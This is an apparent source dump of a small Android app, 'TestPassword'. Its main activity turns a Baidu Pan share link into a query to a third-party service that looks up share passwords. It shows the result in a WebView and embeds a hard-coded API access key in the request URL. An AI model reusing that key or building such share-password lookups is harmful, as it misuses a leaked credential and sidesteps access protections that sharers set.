APK/app/proguard-rules.pro ================================================ # Add project specific ProGuard rules here. # You can control the set of applied configuration files using the # proguardFiles setting in build.gradle. # # For more details, see # http://developer.android.com/guide/developing/tools/proguard.html # If your project uses WebView with JS, uncomment the following # and specify the fully qualified class name to the JavaScript interface # class: #-keepclassmembers class fqcn.of.javascript.interface.for.webview { # public *; #} # Uncomment this to preserve the line number information for # debugging stack traces. #-keepattributes SourceFile,LineNumberTable # If you keep the line number information, uncomment this to # hide the original source file name. #-renamesourcefileattribute SourceFile ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/androidTest/java/com/zgcwkj/baidupantest/testpassword/ExampleInstrumentedTest.java ================================================ package com.zgcwkj.baidupantest.testpassword; import android.content.Context; import android.support.test.InstrumentationRegistry; import android.support.test.runner.AndroidJUnit4; import org.junit.Test; import org.junit.runner.RunWith; import static org.junit.Assert.*; /** * Instrumented test, which will execute on an Android device. * * @see Testing documentation */ @RunWith(AndroidJUnit4.class) public class ExampleInstrumentedTest { @Test public void useAppContext() throws Exception { // Context of the app under test. Context appContext = InstrumentationRegistry.getTargetContext(); assertEquals("com.zgcwkj.baidupantest.testpassword", appContext.getPackageName()); } } ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/main/AndroidManifest.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/main/java/com/zgcwkj/baidupantest/testpassword/MainActivity.java ================================================ package com.zgcwkj.baidupantest.testpassword; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.webkit.WebView; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button btn = (Button) findViewById(R.id.btnGo); btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { EditText textUrl = (EditText) findViewById(R.id.textUrl); //验证长度 if (textUrl.length() >= 8) { String info = textUrl.getText().toString().replace(" ", "").replace("https", "").replace("http", "").replace("://pan.baidu.com/", "").replace("share/init?surl=", "").replace("s/1", ""); String url = "https://www.ypsuperkey.com/api/items/BDY-"; String uend = "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg"; WebView webView = (WebView) findViewById(R.id.webview);//更改界面的WebView控件的地址 webView.loadUrl(url + info + uend); } else { Toast.makeText(MainActivity.this, "请输入正确的地址", Toast.LENGTH_LONG).show(); } } }); } } ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/main/res/drawable/ic_launcher_background.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/main/res/drawable-v24/ic_launcher_foreground.xml ================================================ ================================================ FILE: TestPassword V1.0.0.0 APK/app/src/main/res/layout/activity_main.xml ================================================